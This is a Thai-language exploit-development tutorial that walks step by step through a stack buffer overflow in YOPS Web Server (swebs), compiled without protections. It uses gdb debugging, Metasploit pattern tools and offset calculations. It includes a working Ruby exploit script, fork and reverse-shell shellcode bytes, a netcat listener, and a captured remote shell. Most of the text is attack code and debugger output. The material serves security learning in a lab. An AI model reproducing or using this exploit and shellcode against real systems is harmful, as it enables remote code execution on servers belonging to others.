#1  0x0804cdf9 in logger_th (arg=0x804e4a8) at main.c:382
#2  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#3  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i f 1    # ดู stack frame ที่เราจะต้องทำให้โปรแกรมกลับไปทำงานต่อ
Stack frame at 0xb7fff3a0:
 eip = 0x804cdf9 in logger_th (main.c:382); saved eip 0x14596e
 called by frame at 0xb7fff4a0, caller of frame at 0xb7fff350
 source language c.
 Arglist at 0xb7fff398, args: arg=0x804e4a8
 Locals at 0xb7fff398, Previous frame s sp is 0xb7fff3a0
 Saved registers:
  ebp at 0xb7fff398, eip at 0xb7fff39c
(gdb) x/24x $ebp   # ดูค่าบน stack สำหรับ logger_th function
0xb7fff348:     0xb7fff398      0x0804cdf9      0x00000005      0x0804f198
0xb7fff358:     0x00000000      0x00000000      0x00000000      0x00000000
0xb7fff368:     0x00000000      0x00000000      0x00000000      0x00000000
0xb7fff378:     0x00000000      0x0804f198      0x0804e4a8      0x00000000
0xb7fff388:     0x00000011      0x00000005      0x00000000      0x00000000
0xb7fff398:     0xb7fff498      0x0014596e      0x0804e4a8      0x00000002

สิ่งที่เราเห็นอย่างแรกคือ โปรแกรมต้องไปทำงานต่อที่ 0x0804cdf9 เมื่อจบ swebs_record_log function และเมื่อดูต่อจะได้ ebp เมื่อกลับไปทำงานที่ logger_th function ต้องเป็น 0xb7fff398 แต่เราได้เห็นจาก exploit ที่เราเขียนกันก่อนหน้านี้ว่า address ของ stack มันไม่แน่ไม่นอน ขึ้นอยู่กับหลายๆ อย่าง ดังนั้นถ้าเราใช้ค่านี้ อาจจะใช้ได้สำหรับเครื่องบางเครื่อง

สิ่งที่เรารู้แน่คือ ค่าของ esp หลังจากคำสั่ง ret ใน swebs_record_log function จะถูกต้องเสมอ (ถ้างงก็ลองไล่ใน gdb ดูนะครับ) โดยสำหรับกรณีนี้คือ 0xb7fff350 และระยะห่างระหว่าง esp กับ ebp จะคงที่คือ ดังนั้นคำสั่ง assembly ที่เราสามารถนำมาใช้เพื่อแก้ ebp ให้เป็นปกติคือ 0xb7fff398 - 0xb7fff350 = 0x48


lea  0x48(%esp),%ebp

ต่อไปคือ การเปลี่ยน eip กับไปที่เดิมคือ 0x0804cdf9 โดยเราสามารถใส่คำสั่ง jmp ไปตรงๆ ได้เลย แต่ผมไม่ชอบวิธีนี้ เพราะว่าถ้า address ของ code เปลี่ยน เราจะแก้ลำบาก ซึ่งวิธีของผมคือใช้


jmp  (%esp)

เนื่องด้วยหลังจากจบ swebs_record_log function ด้วยคำสั่ง ret ค่าของ esp จะชี้ไปที่ argument แรกคือ log argument ซึ่งตอนนี้เราเขียนค่าขยะลงไป ดังนั้นถ้าเราเปลี่ยนเป็น address ที่เราต้องการกลับไปทำงานต่อ เราสามารถใช้คำสั่ง "jmp (%esp)"

สิ่งที่ต้องระวังอีกอย่างคือ เราต้องไม่ไปเขียนทับตัวแปรของ logger_th function และ exploit ต้องมีการเขียนเกินอยู่แล้วด้วย ซึ่งโชคดีที่มีพื้นที่อยู่พอสมควรหลังจาก job argument (ดูจากจำนวน 0x00000000) แต่เพื่อให้ปลอดภัยมากขึ้นเวลา request ผมจะไม่ใส่ " HTTP/1.0" เพื่อที่จะให้มีการเขียนต่อท้ายน้อยลง

สิ่งสุดท้ายที่จะต้อง check คือในบาง function จะมีการ save ค่า register ไว้ก่อนใน stack แล้วแก้ค่ากลับก่อนจบ function เพื่อให้ function ที่เรียกมันใช้ค่าใน register ได้เลย ซึ่งเมื่อเราดูที่ swebs_record_log function จะได้


$ objdump -d -j .text swebs | awk /^.*swebs_record_log\>:$/,/^$/
0804a7cc <swebs_record_log>:
 804a7cc:       55                      push   %ebp
 804a7cd:       89 e5                   mov    %esp,%ebp
 804a7cf:       57                      push   %edi
 804a7d0:       56                      push   %esi
 804a7d1:       53                      push   %ebx
...
 804a96f:       5b                      pop    %ebx
 804a970:       5e                      pop    %esi
 804a971:       5f                      pop    %edi
 804a972:       5d                      pop    %ebp
 804a973:       c3                      ret

จะเห็นว่ามีการ save ค่า edi, esi และ ebx และเมื่อเรา check ที่ function ที่เรียกคือ logger_th function ตามคำสั่งข้างล่างจะเห็นว่าไม่พบมีการใช้ register พวกนี้เลย ดังนั้นเราสามารถเขียนทับค่าพวกนี้ได้ตามใจชอบ


$ objdump -d -j .text swebs | awk /^.*logger_th\>:$/,/^$/ | grep -e ebx -e esi -e edi
$

ดังนั้น shellcode ของเราตอนนี้จะเป็น


lea  0x48(%esp),%ebp # fixed up ebp
jmp  (%esp)

ซึ่งเมื่อ build ออกมาจะได้


\x8d\x6c\x24\x48\xff\x24\x24

หลังจากได้ทุกอย่างพร้อมแล้ว เราก็มาทดสอบทำให้โปรแกรมทำงานต่อไปได้โดยไม่ crash ก่อน โดยยังไม่มีการทำ fork และ reverse shell จะได้ code เป็น (ex12_yops2_2.rb)


require 'socket'

target_ip = "127.0.0.1"
target_port = 8888
def send_request(ip, port, request)
    s = TCPSocket.open(ip, port)
    s.write(request)
    msg = s.recv(8192)
    s.close()
    return msg
end

my_pub_ip = "127.0.0.1"
offset_no_ip = 828
offset = offset_no_ip - my_pub_ip.length
job_addr = 0x0804d0c9 - 0x1024
sc_addr = 0xb7fff080

sc = "\x8d\x6c\x24\x48\xff\x24\x24"

space = 700 # estimate
payload = "\x90"*(space - sc.length) + sc
cont_eip = 0x0804cdf9

page = payload+"A"*(offset-payload.length)+[sc_addr, cont_eip, job_addr].pack('VVV')
print send_request(target_ip, target_port, "GET "+page+"\r\n\r\n")

ด้วย exploit นี้เราทำให้เกิด buffer overflow แล้วทำให้โปรแกรมกลับไปทำงานตามปกติ ซึ่งเมื่อทดสอบจะเห็นว่าเรายิงกี่ครั้งก็ได้ โปรแกรมก็ยังสามารถทำงานต่อไปได้

เมื่อทดสอบให้โปรแกรมทำงานต่อได้แล้ว เรามาเขียน shellcode แบบที่เราต้องการคือ fork แล้วทำ reverse shell ที่ child process ส่วน parent process ก็ให้ทำงานปกติต่อไป ซึ่งจะได้เป็น (ex12_yops2_sc.s)


.data
.text
.globl _start

_start:
# fork()
xorl %eax,%eax   # set eax to 0 with xor
movb $2,%al     # fork syscall number
int  $0x80

test %eax,%eax
jz   child
lea  0x48(%esp),%ebp # fixed up ebp
jmp  *(%esp)

child:
inc  %eax      # to be replace with real shellcode


$ build-sc.sh ex12_yops2_sc.s
Compiling ex12_yops2_sc.s to ex12_yops2_sc.o

Extracting shellcode from ex12_yops2_sc.o to ex12_yops2_sc.sc
\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x8d\x6c\x24\x48\xff\x24\x24\x40

Creating ex12_yops2_sc.sctest.c

Compiling ex12_yops2_sc.sctest.c to ex12_yops2_sc.sctest

สุดท้ายเมื่อเราเปลี่ยน shellcode ใน exploit เดิม (ex12_yops2.rb) เราจะสามารถยิงกี่ครั้งก็ได้


$ nc -nvl 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)

Exploiting YOPS Web Server 2009-11-30 (disable all security options)

2011-05-08T15:19:00.000+07:00

เรามาดูตัวอย่างต่อไป ตัวอย่างนี้จะเขียน exploit สำหรับ YOPS Web Server 2009-11-30 ซึ่งได้มีคนเขียน PoC เอาไว้ที่ http://www.exploit-db.com/exploits/14976/ และ source code ของโปรแกรมก็ให้โหลดจาก exploit-db นะครับ และเหมือนเดิมเรายังคง compile โปรแกรมแบบไม่มีการป้องกันใดๆ

Installation

หลังจากที่ได้ source code มาแล้วเราทำการ extract โดยผมได้ทำการแก้ไข Makefile ใหม่ เพื่อที่จะได้ใส่ gcc option จาก command line ได้


$ cd
$ tar xjf yops-2009-11-30.tar.bz
...
$ cd swebs
$ wget -O Makefile https://sites.google.com/...
...
$ CFLAGS="-fno-stack-protector -z norelro -z execstack" make
...

เมื่อ extract จะได้ 2 directories คือ swebs กับ www ซึ่ง www directory จำเป็นต้องอยู่ใน home directory ถ้าใคร extract ที่ directory อื่นก็ให้ย้ายมาที่ home ก่อนที่จะรันโปรแกรมนะครับ

Vulnerability

ถ้าเราดู bug description จาก exploit-db จะเห็นว่าปัญหาอยู่ใน swebs_record_log function ใน swebs.c ตรงที่เรียก sprintf function


int swebs_record_log(int log, JOB *job)
{
    int err;
    time_t now;
    char timestr[32];
    char logrec[MAX_REQUEST_LINE_LEN + 1];

    memset(logrec, 0, sizeof(logrec));
    flock(log, LOCK_EX);
    time(&now);
    ctime_r(&now, timestr);
    timestr[strlen(timestr)-1] = '\0';

    sprintf (
        logrec,
        "%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",
        job->client,
        timestr,
        job->hdr.request_line, // ค่าที่น่าจะเป็น input ของเรา
        job->response_hlen,
        job->response_blen_sent,
        job->response_blen,
        job->status
        );

    if (strlen(job->reason_500)) {
        strcat(logrec, " [");
        strcat(logrec, job->reason_500);
        strcat(logrec, "]");
    }
    strcat(logrec, "\n");
    err = write(log, logrec, strlen(logrec));
    flock(log, LOCK_UN);
    return 0;
}

จาก code ข้างบนจะเห็นว่าตัวแปรที่น่าจะเราน่าจะควบคุมได้คือ "job>hdr.request_line" โดย job กับ hdr เป็น struct และเพื่อให้เข้าใจมากขึ้น เรามาดูรายละเอียดที่ไฟล์ swebs.h และ http.h


// from swebs.h
typedef struct job {
    //...

    /* filled by parser */
    int parser;
    struct http_request_header hdr;
    char content_type[64+1];
    char error_file[32+1];
    char index_file[128+1];
    //...
    int logger;
} JOB;

// from http.h
#define MAX_METH_LEN 8

#define MAX_FILE_LEN 256
#define MAX_PINF_LEN 256
#define MAX_ARGS_LEN 256
#define MAX_URL_LEN (MAX_FILE_LEN + MAX_PINF_LEN + MAX_ARGS_LEN)
#define MAX_HTTP_LEN 16

#define MAX_REQUEST_LINE_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_HTTP_LEN)

#define MAX_HDR_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_TOTAL_PARM_LEN + 16)

typedef struct http_request_header {
    /* header buf */
    char buf[MAX_HDR_LEN+1];

    /* request line */
    char request_line[MAX_REQUEST_LINE_LEN+1];
    char *method;
    char *file;
    char *path_info;
    char *args;

    char *http;
    int ver;
    int subver;

    /* general */
    int code;
    int Cache_Control;

    char *Connection;
    char *Accept;
    char *Host;
    char *Referer;
    char *User_Agent;
} HTTP_REQUEST_HEADER;

จาก "struct job" เราเดาได้ว่า struct นี้เก็บข้อมูลที่เกี่ยวกับ request ทั้งหมด และ hdr ใน "struct job" ใช้เก็บข้อมูลของ http request หลังจากนั้นเรามาหากันว่าโปรแกรมเอา request ที่เราส่งเก็บใส่ตัวแปร request_line อย่างไร


$ grep -n request_line *.c
http.c:163:     strncpy(h->request_line, data, s - data);
main.c:383:             printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
swebs.c:370://  printf("\n+++ rqst: '%s'\n", job->hdr.request_line);
swebs.c:556:            job->hdr.request_line,

จะเห็นว่าบรรทัดที่น่าสนใจคือ "http.c:163:" และเมื่อดู source code จะเห็นว่าอยู่ใน http_parse_request_header function


int http_parse_request_header(char *data, struct http_request_header *h)
{
    int r;
    int ver, rev;
    char *s, *tok, *l, *prm;

    s = strstr(data, "\r\n"); // หาที่จบของบรรทัดแรก
    strncpy(h->request_line, data, s - data); // copy ข้อมูลทั้งบรรทัดแรกเข้า request_line

    /* dealing with method (leading spaces already handled) */
    h->method = tok = data;
    /* max method !!! */
    while ( !isspace(tok[0]) && ( (tok-data) < MAX_METH_LEN) )
        tok++;
    if ((tok-data) >= MAX_METH_LEN)
        return -400;
    // ...
}

จากโค้ดจะเห็นว่าฟังก์ชัน http_parse_request_header copy ข้อมูลทั้งบรรทัดแรกไปที่ request_line ซึ่งทำให้เกิด buffer overflow ใน heap และทำให้ sprintf ใน swebs_record_log function นั้นใส่ค่าของเราลง logrec โดยที่ไม่มีการกำหนดขนาดของ logrec

Exploitation

เรามาลองใส่ input ยาวๆ เพื่อที่จะดูผลว่าเป็นอย่างไร โดยผมจะส่ง request page ด้วยความยาว 2000 ตัวอักษร (ex12_yops_1.py)


print send_request(target_ip, target_port, "GET "+"A"*2000+" HTTP/1.0\r\n\r\n")


$ gdb ./swebs
...
Opening log (.log/access.log)... OK
Parsing config file (.conf/config)...
'tcp_port' = 8888
...
Creating LOGGER(s) (1 instances)... [New Thread 0xb7fffb70 (LWP 1649)]
OK
MANAGER: 1 jobs in ACCEPTOR->PARSER queue
errorer #1 has job (status = 404) (.errors/404.html)
swebs: tpp.c:63: __pthread_tpp_change_priority: Assertion 'new_prio == -1 || (new_prio >= __sched_fifo_min_prio && new_prio <= __sched_fifo_max_prio)' failed.

Program received signal SIGABRT, Aborted.
[Switching to Thread 0x52beb70 (LWP 1643)]
0x0012d422 in __kernel_vsyscall ()
(gdb)  bt
#0  0x0012d422 in __kernel_vsyscall ()
#1  0x00183651 in raise () from /lib/tls/i686/cmov/libc.so.6
#2  0x00186a82 in abort () from /lib/tls/i686/cmov/libc.so.6
#3  0x0017c718 in __assert_fail () from /lib/tls/i686/cmov/libc.so.6
#4  0x0014f34c in __pthread_tpp_change_priority ()
   from /lib/tls/i686/cmov/libpthread.so.0
#5  0x00147a2d in __pthread_mutex_lock_full ()
   from /lib/tls/i686/cmov/libpthread.so.0
#6  0x0804cb3c in errorer_th (arg=0x804e448) at main.c:313  # crash ที่บรรทัด 313 ใน main.c
#7  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#8  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) list 313
308                             goto file_vanished;
309                     };
310
311                     http_set_content_type(job->hdr.file, job->content_type);
312                     swebs_send_response(job);
313                     pthread_mutex_lock(&job->block);  # บรรทัดที่ทำให้ crash
314                     swebs_load_fragment(0, job, &config);
315                     pthread_mutex_unlock(&job->block);
316                     r = swebs_pass_job_on(sender, job);
317                     CHECK_AND_EXIT(r == sizeof(JOB*));

จะเห็นว่าโปรแกรม crash เพราะว่าข้อมูลที่เราใส่เข้าไป เขียนทับส่วนที่สำคัญที่มีผลทำให้โปรแกรม detect เจอข้อผิดพลาดและหยุดการทำงาน หรือพูดง่ายๆ เราใส่ข้อมูลยาวเกินไป (บางครั้งอาจจะเกิด error จาก malloc ที่ detect ได้ว่า heap corrupt เพราะโปรแกรมนี้เป็นแบบ multi-threads แล้วแต่ว่าโปรแกรมทำงาน thread ไหนก่อน)

คราวนี้เรามาดูขนาดที่ไม่ยาวเกินไปบ้าง โดยครั้งนี้จะส่งความยาว 1000 ตัวอักษร (แก้ code เดิมเอาเองนะครับ)


(gdb) r
...
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7fffb70 (LWP 1667)]
0x0804cdfc in logger_th (arg=0x0) at main.c:383
383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
(gdb) list 383
378                     job = swebs_get_job_from(someone);
379                     CHECK_AND_EXIT(job);
380                     job->logger = id;
381
382                     swebs_record_log(log, job);  # function ที่มี bug sprintf
383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
384                     pthread_mutex_lock(&job->block);
385                     zfree((void**)&job);
386             };
387     }
(gdb) i r ebp
ebp            0xb7ff000a       0xb7ff000a

จะเห็นว่าเกิด error ที่บรรทัด 383 ใน main.c ซึ่งอยู่หลัง function ที่มี bug ซึ่งโดยปกติมันควรจะ overflow เขียนทับ saved eip แล้วโปรแกรมจะ crash ตอนจบ swebs_record_log function เพราะ eip ชี้ไปที่ invalid address แต่ครั้งนี้โปรแกรมกลับจบ swebs_record_log function ได้ และมา crash ที่ printf ซึ่งทำให้ผมเดาได้ว่าเราได้เขียนทับ saved ebp แต่ไม่ได้เขียนทับ saved eip (ลองคิดดูนะครับ ว่าทำไมผมถึงเดาได้) เพื่อให้รู้สาเหตุ เรามา break ที่ sprintf ใน swebs_record_log function


(gdb) b swebs.c:551
Breakpoint 1 at 0x804a839: file swebs.c, line 551.
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 2317)]

Breakpoint 1, swebs_record_log (log=5, job=0x804f228) at swebs.c:551
551             sprintf (
(gdb) print job->hdr
$1 = {
  buf = "GET\000", 'A' <repeats 1000 times>, "\000HTTP/1.0\000\000\r\n", '\000' <repeats 1823 times>, request_line = "GET ", 'A' <repeats 789 times>,
  method = 0x804f24c "GET", file = 0x80500f9 ".errors/404.html",  # ค่าของตัวแปร file มี 0x00
  path_info = 0x41414141 <Address 0x41414141 out of bounds>,
  args = 0x41414141 <Address 0x41414141 out of bounds>,
  http = 0x804f639 "HTTP/1.0", ver = 1094795585, subver = 1094795585,
  code = 1094795585, Cache_Control = 1094795585,
  Connection = 0x41414141 <Address 0x41414141 out of bounds>,
  Accept = 0x41414141 <Address 0x41414141 out of bounds>,
  Host = 0x41414141 <Address 0x41414141 out of bounds>,
  Referer = 0x41414141 <Address 0x41414141 out of bounds>,
  User_Agent = 0x41414141 <Address 0x41414141 out of bounds>}
(gdb) x/5s job->hdr.request_line
0x804fd65:       "GET ", 'A' <repeats 196 times>...
0x804fe2d:       'A' <repeats 200 times>...
0x804fef5:       'A' <repeats 200 times>...
0x804ffbd:       'A' <repeats 195 times>, "L\362\004\b", <incomplete sequence \371>
0x8050085:       ""
(gdb) p printf(job->hdr.request_line)
$8 = 800

เมื่อเราดูค่าของ "job->hdr" จะเห็นว่าตัวแปร method, file ที่ประกาศหลัง request_line นั้นไม่ได้มีค่าเป็น 0x41414141 และค่าของตัวแปร file นั้นมี 0x00 อยู่ด้วย ทำให้ข้อมูลที่เราตั้งใจจะทำให้เกิด overflow โดนเปลี่ยนค่าตรงกลางทำให้ sprintf function ไม่ copy ข้อมูลเราทั้งหมดเข้าไปใน buffer และเขียนทับไปถึงแค่ saved ebp

จาก address ของ job ทำให้เรารู้ว่าข้อมูลส่วนนี้ถูกจองใน heap ซึ่งการจองครั้งแรกจะได้ address ที่ 0x00 ที่ตัวแปร file เสมอ ดังนั้นถ้าเราลอง request ครั้งแรกปกติ และค่อย overflow ครั้งที่สอง (ex12_yops_2.py)


# ยังไม่ออกจาก gdb
(gdb) ignore 1 1
Will ignore next crossing of breakpoint 1.
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 1613)]

Breakpoint 1, swebs_record_log (log=5, job=0x8050a48) at swebs.c:551
551             sprintf (
(gdb) print job->hdr
$1 = {
  buf = "GET\000", 'A' <repeats 1000 times>, "\000HTTP/1.0\000\000\r\n", '\000' <repeats 1823 times>, request_line = "GET ", 'A' <repeats 789 times>,
  method = 0x8050a6c "GET", file = 0x8051919 ".errors/404.html",  # ไม่มี 0x00 แล้ว
  path_info = 0x41414141 <Address 0x41414141 out of bounds>,
...
  Referer = 0x41414141 <Address 0x41414141 out of bounds>,
  User_Agent = 0x41414141 <Address 0x41414141 out of bounds>}
(gdb) print printf(job->hdr)
$2 = 0
(gdb) print printf(job->hdr.request_line)
GET AAA...
$3 = 875
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0804a8c1 in swebs_record_log (log=1094795585, job=0x41414141) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x41414141
 called by frame at 0xb7fff354
...

จะเห็นว่าคราวนี้ เราสามารถ overwrite saved eip ได้แล้ว ถึงแม้ว่าตัวแปร method และ file จะโดนเปลี่ยน แต่ไม่มี 0x00 และจุดที่ให้สังเกตอีกจุดคือ โปรแกรม crash ที่บรรทัด 563 ใน swebs.c เพราะตัวแปร job เก็บค่า address 0x41414141 ซึ่งเป็น invalid address

ถ้าดูที่ code จะเห็นว่าตัวแปร job เป็น function argument แสดงว่าอยู่หลัง saved eip และโดยปกติแล้วผมจะพยายามที่จะไม่เขียนทับค่าที่อาจทำให้เกิด access memory ที่ invalid แต่ครั้งนี้จะเห็นว่า sprintf นั้นยังคง copy ค่าอื่นๆ ต่อจาก input ของเราแล้ว ดังนั้นถ้าเรา overwrite เฉพาะ saved eip จะทำให้ตัวแปร job นั้นชี้ไปที่ invalid address เดี๋ยเราค่อยมาแก้ปัญหาของตัวแปร job ตอนนี้เรามาหาว่าเราต้อง input ข้อมูลยาวเท่าไรถึงจะเขียนทับ saved eip พอดี รวมถึงเราจะหาว่ายาวเท่าไรถึงทับ job argument ด้วย (ซึ่งรู้อยู่แล้วว่าห่างจาก saved eip 8 bytes เพราะเป็น argument ตัวที่ 2)

ในตัวอย่างก่อนหน้านี้ ผมใช้วิธีดู assembly แล้วคำนวณระยะห่าง แต่ครั้งนี้ผมจะใช้ pattern_create.rb กับ pattern_offset.rb ซึ่งเป็น tool ที่มากับ metasploit


$ /opt/metasploit3/msf3/tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

เมื่อได้ pattern แล้ว นำไปใส่ที่ input ของเรา (ex12_yops_3.py)


$ gdb ./swebs
...
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 1724)]
0x0804a8c1 in swebs_record_log (log=1648505954, job=0x36624235) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x42336242
 called by frame at 0xb7fff354
...

หลังจากได้ค่า saved eip เป็น 0x42336242 และ job เป็น 0x36624235 เรามาหา offset


$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x42336242
819
$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x36624235
827

เมื่อเราได้ offset จาก pattern_offset.rb เรามาแก้โค้ดเพื่อทดสอบกันโดยผมจะเขียนทับ saved eip ด้วยค่า "BBBB" (0x42424242) และ job ด้วยค่า "CCCC" (0x43434343) และถ้าเราดูที่ code หรือ log จะเห็นว่า sprintf นั้นได้ใส่ IP address ของ client ที่ต่อไว้ข้างหน้าด้วยเหมือนกับตัวอย่าง orzhttpd ที่แล้ว ทำให้ offset ถึง saved eip ถ้าไม่มี IP address คือ 819+9=828 (ex12_yops_4.py)


(gdb) r
...
0x0804a8c1 in swebs_record_log (log=1094795585, job=0x43434343) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x42424242
...

ค่าทุกค่าเป็นไปตามที่เราต้องการแล้ว ตอนนี้เราก็ต้องมาจัดการกับ job argument ถ้าเรามาดู code ส่วนนี้อีกครั้ง


    if (strlen(job->reason_500)) {
        strcat(logrec, " [");
        strcat(logrec, job->reason_500);
        strcat(logrec, "]");
    }
    strcat(logrec, "\n");
    err = write(log, logrec, strlen(logrec));
    flock(log, LOCK_UN);
    return 0;
}

โปรแกรมทำการ check ว่า job->reasion_500 เก็บข้อความอะไรไว้หรือไม่ ถ้าไม่เก็บจะไม่ทำใน if และหลังจากนั้นจะไม่มีการอ้างถึง job arguemnt อีก ดังนั้นเพื่อให้ง่ายเราควรที่จะเขียนทับค่า job ที่ทำให้ job>reasion_500 นั้นชี้ไปที่ข้อความที่มีความยาวเป็น 0

เนื่องด้วยโปรแกรมที่อยู่ใน memory แบ่งเป็น section ต่างๆ และ section ที่เก็บ string เอาไว้คือ .rodata ดังนั้นผมจะขอยืมใช้ address ในนี้ที่เก็บ NULL เอาไว้เพื่อให้โปรแกรมทำงานต่อไปได้


$ objdump -h swebs | grep -A 1 .rodata
 15 .rodata       00000b6f  0804d0c8  0804d0c8  000050c8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
$ objdump -s -j .rodata swebs | head

swebs:     file format elf32-i386

Contents of section .rodata:
 804d0c8 03000000 01000200 57652064 6f6e2774  ........We don't
 804d0d8 2077616e 7420746f 2072756e 20776974   want to run wit

จาก objdump จะได้ว่า secion .rodata ถูกโหลดที่ address 0x0804d0c8 โดยเราสามารถดู content ได้ด้วยคำสั่ง x/s ใน gdb หรือใช้ objdump ที่ผมทำข้างบน ซึ่งจะได้ address ที่เก็บ NULL ไว้คือ 0x0804d0c9

หลังจากได้ address ของ NULL มา แล้วเราจะเขียนทับค่า job เป็นอะไรละ เนื่องจาก job เป็นตัวแปรชนิด struct เวลาอ้างถึงตัวแปรใน struct ใน assembly จะรู้ offset แล้วบวกไปจาก address เริ่มต้นของ struct นั้น ดังนั้นถ้าเรามาดู assembly จากจุดที่โปรแกรม crash (ถ้าใครออกจาก gdb แล้วใครทำอีกรอบให้โปรแกรม crash ที่ strlen(job->reason_500))


(gdb) x/5i $eip-13
   0x804a8b4 <swebs_record_log+232>:    call   0x8048d1c <sprintf@plt>
   0x804a8b9 <swebs_record_log+237>:    mov    0xc(%ebp),%eax
   0x804a8bc <swebs_record_log+240>:    add    $0x1024,%eax
=> 0x804a8c1 <swebs_record_log+245>:    movzbl (%eax),%eax
   0x804a8c4 <swebs_record_log+248>:    test   %al,%al

จะเห็นว่า offset คือ 0x1024 ดังนั้นถ้าเราลองเขียนทับค่า job ใหม่ (ex12_yops_5.py)


(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 2053)]
0x42424242 in ?? ()
(gdb) i r eip
eip            0x42424242       0x42424242
(gdb) x/24x $esp-800
0xb7fff030:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff040:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff050:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff060:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff070:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff080:     0x41414141      0x41414141      0x41414141      0x41414141

โปรแกรม crash เนื่องด้วย eip ชี้ไปที่ invalid address แล้ว ดังนั้นผมจึงหา address ของตัวษร A ของเราต่อทันที ซึ่งจะเป็นที่เราใส่ shellcode เข้าไป โดยผมจะใช้ shellcode เดียวกับตัวอย่างของ orzhttpd และก็ให้ดูด้วยว่าเรามี space ที่จะใส่ shellcode น้อยกว่า 789 bytes (ขนาดของ logrec โดยผมจะใช้ 700 bytes) เพราะตัวแปร method และ file โดนแก้ไข แต่ต้องอย่าลืมว่า shellcode พวกนี้ต้องการใช้พื้นที่ใน stack ดังนั้นเพื่อป้องกันไม่ให้ shellcode เราโดนแก้ไข เราควรทำการ adjust stack pointer ด้วย

ในตัวอย่าง Integer Overflow ผมได้ใส่ "add esp" ซึ่งจะทำให้มี 0x00 ซึ่งเป็น badchar สำหรับโปรแกรมนี้ ดังนั้นวิธีหนึ่งคือนำ shellcode สำหรับ "add esp" มาต่อกับ reverse shell ที่ยังไม่โดน encode แล้วค่อยส่งเข้าไปที่ msfencode ทีเดียว แต่ผมจะใช้อีกวิธีหนึ่ง (ขี้เกียจ) โดยเลี่ยง badchar โดยใช้คำสั่ง "sub esp" กับค่าที่เป็นลบ


$ /opt/metasploit3/msf3/tools/nasm_shell.rb
nasm > sub esp,-200
00000000  81EC38FFFFFF      sub esp,0xffffff38

ได้ทุกอย่างที่ต้องการ นำมาเขียน exploit (ex12_yops.py)


# run ./swebs (ไม่จำเป็นต้องใช้ gdb แล้ว) อีก terminal หนึ่งก่อน
$ nc -nv -l 4444
